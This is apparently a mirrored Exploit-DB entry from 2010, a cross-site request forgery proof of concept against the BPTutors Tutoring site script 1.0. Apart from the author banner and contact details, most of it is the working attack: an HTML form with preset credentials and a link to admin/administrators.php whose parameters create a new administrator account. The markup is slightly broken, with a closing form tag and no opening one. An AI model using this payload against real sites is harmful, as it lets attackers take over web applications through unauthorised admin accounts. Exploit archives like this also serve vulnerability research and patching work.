BPTutors Tutoring site script – Cross-Site Request Forgery (Add Admin) - 体验盒子

作者： bi0

日期： 2010-03-26

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11896/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

# Title: BPTutors Tutoring site script - [ CSRF ] Create Administrator Account

# Date: 26/3/2010

# Author: bi0

# Software: http://bpowerhouse.info/tutoring-site-script.htm

# Version: 1.0

# Code :

______ __ ______

/\ == \ /\ \ /\ __ \

\ \ __< \ \ \ \ \ \/\ \

\ \_____\ \ \_\ \ \_____\

\/_____/ \/_/ \/_____/

01000010 01101001 01001111

[#]----------------------------------------------------------------[#]

#

# [+] BPTutors Tutoring site script - [ CSRF ] Create Administrator Account

#

# // Author Info

# [x] Author: bi0

# [x] Contact: bukibv@hotmail.com

# [x] Thanks: 2 all my friends !!

# [x] IRC : irc.clickshqip.com / #itsecurity

#

[#]-------------------------------------------------------------------------------------------[#]

#

# [x] Exploit :

#

# [ CSRF ]

#

# [ Login ]

# http://[localhost]/[path]/admin/administrators.php

#

# // Start CSRF

|-------------------------------------------------------------------------------|

<html>

Admin ( 6+) <input type="text" name="login" value="admin123" size="6" /><br>

Passwd (6+) <input type="text" name="pass" value="123admin123" size="6" /><br>

Frist Name <input type='text' name='rtfirst_name' value='adminone' ><br>

Last Name <input type='text' name='rtlast_name' value='myadmin'><br>

Email <input type="text" name="email" value="buki@fbi-system.gov" size="16" /><br>

<a class='class_a' href='http://[localhost]/[path]/admin/administrators.php?adm_mode=update&adm_rid=-1&adm_sort_field=6&adm_sort_type=ASC&adm_page_size=1&adm_p=1&adm_new=1'>Create</a>

</form>

</html>

|-------------------------------------------------------------------------------|

# // End of attack

#

[#]------------------------------------------------------------------------------------------[#]

#EOF